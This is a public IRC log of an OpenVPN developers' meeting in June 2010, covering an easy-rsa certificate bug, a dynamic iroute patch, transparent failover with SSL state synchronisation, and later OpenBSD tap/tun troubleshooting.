ecrist> week 22 just comitted to ports tree 12:40 <@cron2> cool. will portsnap-update early next week and try on corp server 12:42 <@cron2> ok, dinner time, and with the infant it's a bit hard to plan the number of interrupts per - so I might be a few minutes late for the meeting 12:47 -!- janjust [~janjust@5355E9DA.cable.casema.nl] has joined #openvpn-devel 12:53 < janjust> is this the normal silence before the "onslaught" of the weekly discussion ;-) ? 12:57 <@mattock> just made it... :) 12:57 <@mattock> "silence before the storm" 12:58 < janjust> hehe hi mattock 13:05 < janjust> who is raidz/Andrew? new openvpn employee? 13:06 <@mattock> janjust: depends on your definition of new... he's been around a little longer than I 13:06 < janjust> I want one of them cool openvpn.org addresses ;-) 13:06 <@mattock> dazo may not make it today, but he was not sure 13:07 < janjust> yeah I read it 13:07 <@mattock> let's see if James pops in 13:09 <@cron2> hi 13:09 <@mattock> hi cron2! 13:09 -!- Irssi: #openvpn-devel: Total of 16 nicks [5 ops, 0 halfops, 0 voices, 11 normal] 13:10 <@mattock> I'll give James 5 minutes and then I'll start annoying him with emails... ;) 13:10 < janjust> hehe ok mattock 13:16 <@mattock> ok, sent mail to james 13:16 < janjust> we'll wait for another few minutes 13:17 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:17 < jamesyonan> hi 13:17 < janjust> hi james 13:18 <@mattock> hi james! 13:18 <@mattock> ok, let get this thing started... 13:18 <@mattock> so today's topics are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-06-03 13:18 < vpnHelper> Title: Topics-2010-06-03 – OpenVPN (at community.openvpn.net) 13:19 <@mattock> so first topic would be possible bug in easy-rsa: http://thread.gmane.org/gmane.network.openvpn.devel/3703 13:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:19 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:20 <@mattock> so is this a bug and if so, how can we fix it? 13:20 < janjust> I found the bug a bit odd... if this is a true bug then many people (including me) should have been hit by this already, right? 13:21 <@mattock> what does OpenVPN except, actually? 13:21 <@mattock> from client certs... 13:22 <@mattock> james: any ideas about this? 13:22 < jamesyonan> I don't completely understand it either -- he's setting nsCertType to both client and server when the scripts accept a command line arg to determine which attribute to allow 13:23 < janjust> a few weeks ago I set up a PKI using the openvpn 2.1 easy-rsa scripts and have not run into problems yet (build-key, build-key-server etc) 13:23 < jamesyonan> Maybe he's not noticing this in pkitool: 13:23 < jamesyonan> --server ) REQ_EXT="$REQ_EXT -extensions server" 13:23 < jamesyonan> CA_EXT="$CA_EXT -extensions server" ;; 13:25 <@mattock> hmm, I think we should discuss this in more detail with him... 13:25 < janjust> yes 13:25 < janjust> I would like to know exactly what he is doing (commands) 13:25 <@mattock> if he's just confused / done something funny 13:26 <@mattock> ok, let ask him for more details 13:26 <@mattock> ...and move on :) 13:26 < janjust> +1 13:26 <@mattock> so next would be "Dynamic iroute behaviour" 13:26 <@cron2> +1 13:26 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/3691 13:26 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:26 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/3722 13:26 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:27 <@mattock> quoting dazo: "Do we want this feature and if yes, should it also be a configurable runtime option and not just compile time config option?" 13:29 <@mattock> I can't comment on this, dynamic routing is not one of my strong points :) 13:29 <@cron2> it's a fairly special-case use, and it could be solved in other ways (using TAP) 13:29 <@cron2> but then, we have other special-case code... 13:30 * cron2 is somewhat neutral on this 13:30 <@mattock> the alpha patch seem to add quite a lot of stuff, but not change much of the existing code 13:31 <@cron2> (*if* we have it, it should be a run-time option) 13:31 < jamesyonan> interesting patch -- so the basic idea is to have the internal iroute table mirror the kernel routing table 13:31 <@cron2> jamesyonan: yes 13:32 <@mattock> so did I understand correctly that this patch does not affect the rest of the codebase? 13:32 <@mattock> meaning it's not very invasive... 13:33 < jamesyonan> what are the performance implications? How often are the routes synched to the iroute table? 13:33 <@cron2> haven't looked at the code in detail yet 13:34 < krzee> how can it just mirror the routing table when it needs to point to clients and the routing table knows nothing bout clients 13:35 <@cron2> krzee: dynamic routing would setup routes to the client-tun-IP 13:35 <@cron2> krzee: they use this in mesh networks where openvpn-client and openvpn-server speak some sort of routing protocol 13:36 -!- reg9009 [~chatzilla@ip-95-223-199-86.unitymediagroup.de] has joined #openvpn-devel 13:36 < reg9009> hi guys 13:36 < krzee> ahh, route to the client ip instead of just the tun device 13:36 < krzee> pretty slick 13:36 < reg9009> sorry, I'm a bit late... 13:36 <@mattock> reg9009: hi! we were just discussing this one: http://thread.gmane.org/gmane.network.openvpn.devel/3722 13:36 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:36 <@mattock> originating from you, I assume 13:36 < jamesyonan> "We filter for zebra routing messages" -- does this mean that the code is dependent on zebra/Quagga? 13:36 < reg9009> :) 13:37 < reg9009> jamesyonan: not really. We filter out routing messages from kernel 13:37 <@mattock> btw. rest of the topics are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-06-03 13:37 < vpnHelper> Title: Topics-2010-06-03 – OpenVPN (at community.openvpn.net) 13:37 < reg9009> If you take out the filter, you get any routes which are set via kernel 13:37 < reg9009> (basically, an if clause) 13:38 < chantra> i find this feature nice... allows to do OSPF/BGP over openvpn AFAIU 13:38 < krzee> without needing a ton of ptp setups 13:38 < reg9009> chantra: exactly, that was our purpose. 13:38 < chantra> client-server speak routing protocols, this updates kernel table. If the ip of gw is a client, opevpn will route to client 13:39 < chantra> as it got aware of the new route 13:39 * chantra never used iroutes though :p 13:39 < reg9009> our problem was that every time a new network is setup somewhere on the network, we would have to modify ccd file iroute entry and restart clients 13:39 < reg9009> you need it to route networks which are behind clients that dial into openvpn server 13:40 < jamesyonan> I think it's a good idea -- of course, we will need it thoroughly 13:40 <@mattock> ok, so chantra and james gave thumbs up and cron2 was neutral :) 13:40 < chantra> and openvpn needs that so it passes packet to client, otherwise it wont pass a packet that does not go to a p2p to another client, right 13:40 < reg9009> the code depends on linux, as we don't have bsd kernel expertise on hand... 13:41 <@mattock> and I guess reg9009 gives thumbs up, too 13:41 < reg9009> chantra: correct. 13:41 < ecrist> cron2: you're gert, right? 13:41 <@mattock> reg9009: BSD support would have to be added 13:41 <@cron2> ecrist: yes 13:41 <@mattock> ...by someone 13:41 < reg9009> wasn't there a guy drinking beer sometimes with BSD core developers? 13:41 < ecrist> that's me 13:42 < jamesyonan> correction: of course, we will need to test it thoroughly 13:42 < reg9009> maybe you can get someone to look at it. 13:42 <@mattock> dazo can put it to it's own feature branch so that people can test it more easily 13:42 < reg9009> Only thing that has to be adjusted is to open a kernel socket and listen for routing messages... 13:42 < chantra> reg9009: i guess this would normally be achieve with ipsec, but maybe openvpn would allow client with dinamic ips to do the job with less hassle 13:42 < reg9009> don't know how to do it in BSD 13:43 < ecrist> if you guys develop it, I'll put it in, as an option, to the freebsd port... 13:43 * ecrist doesn't know what he's looking at, though 13:43 < reg9009> chantra: yep. Also, IPSec is very strict with networks. You cannot pass any networks you don't define in your connection. 13:43 < krzee> ecrist, hes saying maybe you know a dev who could port a very specific part to BSD 13:43 < krzee> [11:46] Only thing that has to be adjusted is to open a kernel socket and listen for routing messages... 13:43 < reg9009> Only with some tunnel/GRE setup, which makes it a lot more complicated 13:44 < krzee> needs a BSD dev to do that part for BSD, he has it working in linux 13:44 < ecrist> reg9009: if you email me what you're looking for, specifically, I'll talk to some people. 13:44 <@mattock> how about OpenBSD et al? 13:44 < reg9009> ecrist: cool, I'll do... 13:44 < reg9009> well, *BSD 13:45 < ecrist> most of the BSD's share code 13:45 < reg9009> I would imagine that socket communication on *BSD should be quite unified? 13:45 < ecrist> FreeBSD is where most of the network core code comes from for the other two BSDs 13:45 < krzee> i thought network core code came from netbsd primarily... 13:45 < chantra> reg9009: actually, that could be interesting to interconnect remote office that use DSL :) Will try to push that to use within the company I work for :) 13:45 < reg9009> we're preparing a nicer patch with the suggestions from David. Should be ready by weekend... 13:46 <@cron2> chantra: well, those usually have well-known internal networks, no dynamic routing involved - so static ccd/iroute are sufficient 13:47 < reg9009> e.g., we have sites cross connected to ther sites via multiple different routing possibilities (mesh network). 13:47 < reg9009> Some sites are behind a 2nd hop, and that's the problem. Network gets announced, but not routed. 13:47 < janjust> chantra: I'd actually use a site-to-site static key VPN for that 13:49 < janjust> I like the idea of dynamic irouting but am wondering how well it fits with one of my other idea: a VPN without assigning IPs to the endpoints 13:49 <@mattock> ok, so this feature should be included, but it needs reworking + BSD support... and thorough testing, of course 13:49 <@mattock> agreed? 13:49 < reg9009> ok 13:50 < krzee> +1 13:50 < krzee> (for the feature) 13:50 < reg9009> janjust: isn't this L2 (tap style) VPN? 13:50 <@mattock> I think this could go to a separate feature branch soon, even without *BSD support... what do you think? 13:51 <@cron2> mattock: +1, and configurable at run-time 13:51 <@mattock> cron2: exactly 13:51 <@cron2> +1 13:51 < janjust> even in L2 VPNs you still have IPs assigned to the clients 13:51 <@cron2> (for the feature branch) 13:51 < janjust> mattock: +1 13:51 <@cron2> janjust: yes, but you can route across openvpn, without openvpn noticing 13:51 <@cron2> (because openvpn just cares for mac addresses) 13:51 < chantra> cron2: thats right :s even by using random core openvpn server to interconnect offices, normal ospf between the core servers should be sufficient 13:51 < reg9009> and there are policies sometimes where L3 (routed only) is a must... 13:51 < janjust> cron2: yes but what I have in mind is to not even assign an IP to the VPN endpoints 13:52 < janjust> which can be done using ifconfig-noexec 13:52 < janjust> one less IP range to worry about , one IP range less to firewall etc 13:52 < janjust> (and it makes it look more like plain IPsec) 13:52 < reg9009> I thik we have a lot of ideas for some new modules in OpenVPN 3.0 :) :) 13:52 <@mattock> reg9009: agreed :) 13:53 <@mattock> it seems we (=you guys) could discuss this all night... but shall we move on? ;) 13:53 <@cron2> reg9009: policy-wise, doing tap without bridging is not really different from tun 13:53 < janjust> reg9009: ideas are never the problem, implementing the ideas is a different matter 13:53 <@cron2> it's still "dedicated l3 network for the VPN side", just more encapsulation 13:53 < reg9009> mattok: yep. 13:53 < reg9009> go ahead... 13:53 < jamesyonan> I have a question: when you have an openvpn client acting as a gateway for a whole network, while you can push routes to the machine acting as the openvpn gateway, how do you push routes to the whole gateway network? 13:54 < reg9009> BGP 13:54 < reg9009> OSPF talks too much, and BGP gives you more control of behaviour... 13:54 < janjust> isn't this also possible using RIP/OSPF? 13:54 <@cron2> jamesyonan: well, same dynamic routing thing, just facing the other direction 13:54 <@cron2> janjust: yes. the (dis)advantage of BGP is that it's less automatic and can be filtered and controlled more easily 13:55 < reg9009> And by assigning fixed IP with ccd, you get your neighbors at both ends... 13:55 < jamesyonan> what if there's just a consumer-grade router on the gateway? 13:55 < reg9009> We have AVM Fritz boxes with Freetz on some consumer sites 13:55 < reg9009> Doing a great job for this little boxes... 13:55 < reg9009> And any homeworker can setup these themselves... 13:56 < janjust> jamesyonan: perhaps someone can write a UPnP plugin to push the routes to the home router? 13:56 < reg9009> Linux running quagga and openvpn on these boxes... 13:56 <@mattock> janjust: isn't using UPnP kind of a bad idea security-vise? :) 13:57 <@mattock> or is it just bad idea to have UPnP open ports automatically? 13:57 < janjust> mattock: UPnP does have merits, it's just that the disadvantages are so enormous 13:57 < krzee> its had some security issues, and im sure it'll have more 13:57 < janjust> but a properly configured UPnP system can be useful 13:57 < krzee> but that wont stop people from (unknowingly?) using it 13:57 < janjust> and BGP also has had tons of security issues recently 13:58 < jamesyonan> I'm wondering if the consumer-grade boxes support UPnP, and to what level they implement security 13:58 < janjust> even my old dumb linksys wrt54g (not GL) supports UPnP so I think the answer is yes. how would people use P2P otherwise ;-) ? 13:59 < janjust> hehe I was just mentioning it as an *option*, folks ;-) we're getting distracted again 13:59 < krzee> ya even my cheap dsl modem/router here in 3rd world supports upnp 13:59 <@mattock> janjust: agreed (on getting distracted) 13:59 < reg9009> If I may raise the next topic of state synchronisation? ;) 13:59 <@mattock> reg9009: you may 13:59 <@mattock> :) 14:00 < janjust> this is the transparent failover again, right? 14:00 < reg9009> yes 14:00 < reg9009> I was setting up some IPSec boxes on OpenBSD, which enable stateful failover of IPSec (whoch is really cool!). 14:00 < janjust> my opinion has not changed since I last discussed this ;-) 14:00 < reg9009> If OpenVPN would do some state synchronisation, too 14:01 < reg9009> One could failover all VPN stuff transparently 14:01 < reg9009> As of the internal structures of OpenVPN, I think this could be achievable without too much hassle...? 14:02 < reg9009> In my thought, only the client instances would have to be synchronized? 14:02 <@mattock> jamesyonan: what do you think? would this be easily doable given current codebase? 14:02 < reg9009> (client instance structs)... 14:02 < waldner> this could perhaps be a plugin for v. 3.0? 14:02 < janjust> waldner: +1 14:02 <@mattock> waldner: OpenVPN will include all the things in the world as plugins, it seems :) 14:02 <@mattock> 3.0 ... 14:02 < chantra> +1 for that too. In a situation where you have 2 boxes sharing a failover ip (ucarp...). If the master goes bananas, the slave can take over and have a copy of client states if i am getting it right 14:02 < waldner> mattock: ins't that what plugins are for..? :) 14:02 < reg9009> could be. I would be very happy of input on what is needed exactly to get traffic routed. 14:03 < janjust> the problem with the client states is that the session keys are also copied. that's a downgrade of the security of openvpn (even though a manageable one) 14:03 < jamesyonan> so for transparent failover, we would need a way to persist a client instance object and send it to another server? 14:03 < reg9009> E.g., are there some sequence numbers involved, or does OpenVPN only checks for valid instances while a packet flows? 14:04 < reg9009> jamesyonan: Maybe we could sniff a bit in pfsyncs code. as they do quite the same thing, I imagine... 14:04 < reg9009> janjust: well, sasyncd also synchronizes SAs over net. It's just a matter of mention it and point people to secure this kind of traffic... 14:05 < jamesyonan> copying keys isn't a big deal if it done via secure transport 14:05 < chantra> jamesyonan: over vpn connection between the 2+ servers ;) 14:05 < janjust> jamesyonan: true, but these sessions keys are copied all the time (at every key reneg) 14:06 < janjust> in other words: I like the benefits of transparent failover but am worried about the security implications 14:06 < jamesyonan> reg9009: there is some sequence number state in the client instance object 14:07 < reg9009> pk, so we need to synchronize the instance objects (while being added or destroyed), and while traffic flows, the sequence numbers accordingly...? 14:07 < jamesyonan> with failover you would obviously need to have a strong trust relationship between the failover nodes 14:08 < janjust> hehe the spiderman phrase comes to mind: with great power comes great responsibility 14:08 < reg9009> I think the trustship between failover nodes can be ensured, just use crossover cables between synch networks... 14:08 <@mattock> is there anything stopping from the failover nodes from having a secure connection to synchronize the states? 14:09 <@mattock> reg9009: good point 14:09 < reg9009> Also, synch packets could be encrypted, if needed. 14:09 <@mattock> I mean are there _necessarily_ any bad security implications? (if implemented correctly) 14:10 < jamesyonan> how do you detect failover? If you use a timeout-based system, then maybe by then the application protocols have also timed out and you lose your seamless failover? 14:10 < reg9009> I think as long as one can disable synchronization any times, it should be ok. 14:10 < janjust> usually a server failover is set up using some heartbeat mechanism 14:10 < krzee> more likely how its achieved by CARP 14:10 < krzee> right, heartbeat 14:11 < waldner> also if v3.0 is multithreaded, there could be a thread (in its own plugin) dedicated to do the sync and keepalive 14:11 < janjust> so your application protocol should change less frequently than the heartbeat mechanism 14:11 < reg9009> krzee: yes. And we can "borrow" carp's code for communication. 14:11 < reg9009> We just need to know what we have to synchronize... 14:11 < jamesyonan> but in order for seamless failover to work, the openvpn client would also need to detect when the server it is connected to has gone down. 14:12 < reg9009> I would imagine to send states via multicast. 14:12 < reg9009> jamesyonan: not really. That would be a job of existing cluster solutions (VRRP, CARP, keepalive, etc.) 14:12 < janjust> jamesyonan: that is normally done using roundrobin on the switch/router in front of the two servers : the client won't even know that it has connected to a different machine (same IP) 14:12 < waldner> jamesyonan: not if the server's public IP is also transferred to the failover server 14:13 < reg9009> But as soon as Virtual IP changes, other OpenVPN instance would need to know if the received packet is ok. 14:13 < janjust> waldner: yes, much better explanation than my feeble attempt ;-) 14:13 < jamesyonan> right, I get it -- you would use a ucarp-style virtual IP address that is shared between the nodes 14:13 < waldner> yes, that's my understanding 14:14 < reg9009> What about the tun interface. Are there any implications with that (I don't have experience using tun interfaces programming...)? 14:15 < waldner> the failover would need to create the tun interface with the same parameters on the failover server, I guess 14:15 < jamesyonan> the tun interface is fairly stateless 14:16 < reg9009> waldner: you can start OpenVPN and all tun interfaces on the backup node and run it parallel to the active node (te´here's just no packet that arrives on backup node). 14:16 < waldner> reg9009: yes, that could be an option too 14:16 < reg9009> Failover nowadays works, but there's one reconnect on client side, as the tunnel is closed as soon as the failover takes place. 14:17 < waldner> yes, there's a small intervall to reestablish the tunnel to the new server 14:17 < waldner> which may or may not acceptable, depends on the use case 14:18 < janjust> a transparant failover setup (or even a non-transparant one) is definitely in the category "don't try this at home unless you really know what you are doing" 14:18 < waldner> agreed 14:19 < reg9009> Who could volunteer by means of helping in some special corners like packet flow in OpenVPN or other things. 14:19 < janjust> but the "really know what you are doing" is more related to routing than to openvpn itself (as always) 14:19 < jamesyonan> this would require that the server-side SSL/TLS context for each client be persistable and transportable to the failover peer 14:19 < reg9009> I would try to take care of initial coding... 14:19 < jamesyonan> this might require some OpenSSL hacking 14:20 < waldner> there's also the usual HA issue of false positives in detecting the peer is down 14:20 <@mattock> so we'd have to cheat SSL to think the other end has not changed, right? 14:20 < janjust> jamesyonan: most defintely 14:20 < reg9009> hmm, ok. But sounds like a first idea fo where to look at... 14:20 < janjust> mattock: right 14:20 <@mattock> isn't that exactly was SSL was designed to protect against? 14:21 < janjust> I'd first create an openssl s_server type app that does transparant failover 14:21 < janjust> then integrate that into openvpn 14:21 < reg9009> Well, SSL load balancer do quite same thing, if running in cluster... 14:21 < jamesyonan> well SSL is certainly going to protect against MiTM 14:21 < janjust> mattock: yes and that's exactly why I am having some security concerns 14:21 <@mattock> reg9009: ok 14:21 < jamesyonan> but that doesn't preclude portable state 14:21 < reg9009> As long as the keys are the same, it should just work... 14:22 < reg9009> Same works if loadbalancing SSL sites (https). 14:22 <@mattock> ok, so it should be doable 14:22 <@cron2> mattock: if both server sides cooperate and fully share their SSL state, it works (same server certificate, etc.) 14:22 <@cron2> "sharing of internal state" is the tough part 14:22 < reg9009> If same keys are distributed on different servers, it works well. Is this comparable? 14:22 <@mattock> cron2: ok 14:22 < jamesyonan> it might be possible to sidestep OpenSSL context copying by forcing a mid-session renegotiation at the failover point 14:23 < janjust> jamesyonan: I was pondering that as well but it's the original server that needs to force the renegotiation 14:24 < jamesyonan> No, the server can force renegotiation as well. 14:24 < janjust> wouldn't that allow for a MitM attack/ 14:24 < janjust> ? 14:24 <@cron2> jamesyonan: can the *new* server force renegotiation for an pre-existing session? 14:25 <@mattock> given that the old server is dead already at that point 14:25 < jamesyonan> So you're asking if a MiTM could force a renegotation? 14:26 < janjust> jamesyonan: yes, well , that can already happen but right now the client will notice it (due to the session dropping out) 14:26 < janjust> if the failover becomes transparant then a client would not even notice that the server has been compromised 14:27 <@cron2> janjust: well, the MiTM server would obviously have to have a correct SSL certificate 14:27 < jamesyonan> right, but a MiTM doesn't have the internal OpenSSL context for the connection that includes the session keys. 14:27 < janjust> cron2: true, so your server is compromised already anyways but a transparant compromise freaks me out even more ;-) 14:28 <@cron2> janjust: if you can intercept my traffic, that doesn't mean I'm compromised 14:28 <@mattock> I assume load balancing SSL is different, given that the load balancing happens during connection initiation, not at some random point during the connection 14:28 <@mattock> referring to earlier discussion... 14:28 <@cron2> mattock: well, depending on the implementation, existing sessions can fall over to the other device transparently 14:28 < reg9009> If we keep state synchronization as much as possible on the layer beneath OpenVPN, it would be an option to use. 14:29 <@cron2> reg9009: you can do that today - just failover with carp, and have the clients re-establish the tunnels 14:29 < reg9009> If someone still feels uncomfortable to use it, just don't enable it in config, e.g.... 14:29 < waldner> mattock: but if the server to which the session was initially sent dies, it should be able to transparently direct the session toanother server 14:29 <@cron2> waldner: "message from the grave"? 14:29 <@mattock> waldner: "it" being what? 14:29 < reg9009> cron2: That's what we are doing, but I want to failover without the need of recreate the tunnel (as in IPSec). 14:30 < waldner> cron2: sort of :) 14:30 <@cron2> waldner: how does it know that it dies if it just happens to...? 14:30 < waldner> mattock: the load balancer 14:30 < jamesyonan> well just at a theoretical level, imagine you have an SSL server running on a VM. Then you copy the VM to new hardware in a way that is fully transparent to the clients. The clients won't know the difference. It would be difficult for an SSL implementation to even protect against this. 14:30 <@cron2> jamesyonan: exactly. good example. 14:30 < waldner> cron2: some load balancers perform health check of the backend servers to detect failure 14:31 < jamesyonan> It's not a MiTM attack, it's just an acknowledgment that fundamentally, a computer + its state is inherently portable 14:31 <@cron2> waldner: sure, but that won't move the state over, or tell the client to renegotiate 14:31 <@cron2> waldner: carp does "send the packets to the backup server" just fine 14:31 < waldner> but you don't need that is it will be transparent to the client 14:32 < waldner> s/is/because/ 14:32 < reg9009> VRRP (or CARP) failover usually doesn't even loose one packet (in terms of failover speed). 14:32 < waldner> or maybe I'm missing something 14:32 * janjust gotta go 14:32 <@cron2> waldner: it isn't (today), because OpenVPN context is lost, and tunnels will be broken 14:32 <@mattock> jamesyonan: so the switch to another VM would look like a short connection interruption from the client perspective... 14:32 <@cron2> mattock: yes 14:32 < reg9009> by janjust... 14:32 < janjust> bye all 14:32 <@cron2> bye 14:32 <@mattock> bye janjust 14:32 -!- janjust [~janjust@5355E9DA.cable.casema.nl] has quit [Quit: Leaving] 14:32 < waldner> cron2: ok, yes for OpenVPN yes 14:33 <@mattock> ok, so this is doable 14:33 < waldner> sorry, I thought you were talking in general, my fault 14:33 <@mattock> reg9009: so you'd be interested in implementing this with some help for other devs? 14:34 <@mattock> I'm think that perhaps we should start working on this to get an idea of the issues 14:34 <@mattock> and if it's doable in 2.x series... 14:34 <@mattock> ...issues involved in this 14:35 <@mattock> what do you think? 14:37 <@mattock> anybody still here? :) 14:37 < jamesyonan> it might be possible in 2.x, however it's good that we're thinking about this now in relation to planning for 3.0 14:38 <@mattock> reg9009: still there? 14:38 < reg9009> sorry, short break... 14:38 < jamesyonan> because we can ensure that with 3.0, module state must be serializable 14:38 < reg9009> yes, I would with some help... 14:38 <@mattock> reg9009: could you take a closer look at the code and see what would have to be done? 14:39 < reg9009> I will do... 14:39 < reg9009> jamesyonan: That's a good idea. 14:39 <@mattock> if you keep others updated via -devel list we can discuss this further 14:39 < ecrist> silly question, have you used a different nickname, reg9009 14:39 < ecrist> ? 14:39 < reg9009> no 14:39 * ecrist is losing it. 14:40 < reg9009> ?? 14:40 < ecrist> nothing, I just don't recall seeing you before. 14:41 <@mattock> shall we call this a day? 14:41 < jamesyonan> sure 14:41 < reg9009> From a bigger point of view, imagine to tell management that they could basically throw ASAs and Checkpoints away and achieve same "enterprise grade" with open source products... 14:41 < reg9009> Which btw. are much more flexible regarding authentication methods :) 14:42 < waldner> unfortunately,most managements wil tell you that "enterprise grade" and "open source" can't be in the same sentence 14:42 < ecrist> the company I work for runs nearly 100% on open-source products 14:42 < waldner> but I DO agree with you, don't get me wrong 14:42 < reg9009> ecrist: I wasn't. I "joined" this chat 2 weeks ago... 14:42 <@mattock> reg9009: and the management would say: "We can't use that, it does not cost anything... it can't be any good." 14:42 < ecrist> aside from the code we write ourselves. 14:42 < waldner> ecrist: god to know there still are some sensible people 14:42 < waldner> *good 14:43 < reg9009> mattock: It's just a matter of selling it. We are in a bit better shape, as we run services as a 3rd party for companies. 14:43 < reg9009> At that level they just care about costs :) 14:43 < ecrist> 55 FreeBSD servers here. :) 14:44 < reg9009> And it's cool for them to mention they run Linux or something similar, when they're playing golf... ;) 14:44 < reg9009> It got en vogue... 14:44 <@mattock> ok, so everybody (mostly reg9009 :) ) knows what to do 14:44 < reg9009> hopefully I do ;) 14:44 <@mattock> at least you know what to do next :) 14:44 < reg9009> In opposite to the german soccer team, which is playing horrible at the moment... 14:45 <@mattock> ;) 14:45 <@mattock> better than the Finnish one, I'm sure 14:45 < reg9009> :) 14:46 < krzee> both of those are better than the BP oil team in the gulf of mexico 14:46 <@mattock> ok, I'll try to find time to summarize this meeting tomorrow, but if I fail, I'll send the summary on Monday (on a weekend trip) 14:46 < reg9009> jamesyonan, ecrist, would you contact my via eMail so that we can exchange ideas/questions? (reg9009@yahoo.de) 14:46 <@mattock> krzee: :D 14:46 < jamesyonan> sure 14:46 < reg9009> lol... 14:46 <@mattock> ok, gotta go, it's getting late again 14:47 < ecrist> sent. 14:47 < reg9009> sorry, but Lahm just threw in a goal of the year :) 14:47 <@mattock> bye guys! 14:47 < waldner> bye 14:47 < krzee> adios mattock 14:47 < reg9009> bye 14:47 < jamesyonan> bye 14:47 < reg9009> thx! 14:47 <@mattock> reg9009: no, thank you! :) 14:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 14:51 < reg9009> ecrist: how do you manage 55 servers in terms of (kernel) patches, etc.? 14:54 < ecrist> very carefully 14:54 < ecrist> freebsd-update makes life easy on non-custom kernel systems, though. 14:54 < waldner> is there some kind of configuration management for *BSD? eg, like puppet? 14:54 < ecrist> we have a couple build boxes that build kernels, 6 of our servers PXE-boot 14:55 < reg9009> I see. We started with OpenBSD, as they have sasycnd. 14:55 < ecrist> puppet is available, but we just use LDAP where we can and everything else is manually edited. 14:55 < reg9009> Is there something similar on FreeBSD? 14:55 < ecrist> not that I see, no 14:55 * waldner slaps himself, as puppet does run on*BSD 14:56 * ecrist heads out. 14:59 < reg9009> I gotta go... 14:59 < reg9009> See you soon, guys... 14:59 < waldner> bye 14:59 -!- reg9009 [~chatzilla@ip-95-223-199-86.unitymediagroup.de] has left #openvpn-devel [] 16:10 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:39 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 17:05 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Fri Jun 04 2010 00:55 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 01:06 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:03 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 02:41 -!- dazo_afk is now known as dazo 04:06 -!- reg9009 [~chatzilla@ip-94-79-162-2.unitymediagroup.de] has joined #openvpn-devel 04:06 < reg9009> hi all, anybody online...? 04:42 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-dozvzsxjeawefddo] has joined #openvpn-devel 05:01 <@dazo> reg9009: I'm reading through the discussion yesterday ... and see you got thumbs up for the dynamic iroutes, which is good :) ... Another thing ... you do the NETLINK communication directly. What about to use libnl for that? It might simplify the code a bit, and you are then not so kernel version dependent, as if the NETLINK layer changes in the kernel - you just need a new corresponding libnl library vs updating the code in OpenVPN 05:10 < reg9009> ok, I'll have a look 05:10 < reg9009> we use direct kernel communication as it was the best way to quickly get a solution. 05:10 < reg9009> remember, it's our first approach against kernel and C programming ;) 05:11 < reg9009> btw., I've got some trouble getting topology subnet running with OpenBSD. 05:11 < reg9009> Do you have any experiences with this? It seems like a bug. Traffic just doesn't flow. 05:13 <@dazo> reg9009: I'm sorry, I don't have much *BSD experience at all ... even though, I'm planning on playing with it - just haven't had time 05:14 <@dazo> I believe cron2, ecrist and krzee are more "fluent" in *BSD 05:15 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 05:28 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:28 <@mattock> won't be able to write the summary today, but will do that on Sunday or Monday 05:29 -!- mattock [~samuli@dyn55-11.yok.fi] has left #openvpn-devel [] 06:32 <@cron2> dazo: careful with your wishes regarding libnl - open source software with too many dependency libraries is also hard to maintain 06:33 <@cron2> dazo: regarding *BSD - well, yes, but I have never looked into the "how do I get routing info from the kernel?" bits yet 06:34 <@cron2> ... and I still wonder why reg9009 cannot use TAP... colleague of mine does exactly the same thing (dynamic routing with BGP over OpenVPN), using routed(!) TAP interfaces just fine 06:36 < reg9009> that's another possibility, but I'd like to circumvent bridging. 06:37 < reg9009> even if bridge between two gateways only. 06:52 <@dazo> cron2: yeah, I know ... but we should avoid having kernel specific code in OpenVPN, especially when there exists libraries taking care of that for us ... and if I remember right, the netlink documentation recommends using libnl in userspace applications and avoid doing the hard-core communication itself 06:53 <@dazo> reg9009: you don't have do use bridging with tap ... you can use tap as an "ordinary" network interface as well 06:56 <@dazo> anyhow, in re: to libnl ... I'm planning to look into the route setup code a bit as well, to see if we can skip calling /sbin/route from OpenVPN and to set capabilities correctly so that the OpenVPN process can modify the routing table without running as root ... now it runs as root until the tunnel is established and routes are setup, and the drops root privileges 06:57 < reg9009> ok, I'll try that as well. Actually, I'm playing around with some options in BSD. 06:57 <@dazo> for Linux, I'm planning on using libnl ... to make the implementation easier 06:57 < reg9009> One thing that came to me in mind is to duplicate all packets and redirect to 2nd gateway. Should work at least for one failover. 06:58 <@dazo> and if the libnl implementation is done flexible enough ... it might be possible to find similar tools/libs for *BSD and Solaris as well 06:59 < reg9009> Let's see how we can find enough time for all this... 06:59 <@dazo> :) 07:24 <@cron2> reg9009: if you use "tap" without any "bridge" on the client or server side, it's really not bridging anything - there is a bit more overhead (due to the ethernet header transmitted), but besides this, it's a "normal" transit interface between the openvpn endpoints 07:38 < reg9009> really weird. I had this kind of up and running. 07:38 < reg9009> If I use dev-type tap (OpenBSD), it connects happily, but each packet sent throws an error: write to TUN/TAP : Address family not supported by protocol family (code=47) 07:38 < reg9009> any ideas? 07:41 < reg9009> it seems tun0 interface doesn't have a mac address... 07:41 < reg9009> assigned 07:46 <@cron2> reg9009: tun0 is not an ethernet interface, so it has no MAC and no ARP 07:46 < reg9009> problem is, I can dial in with tap mode, but no packet is replied. 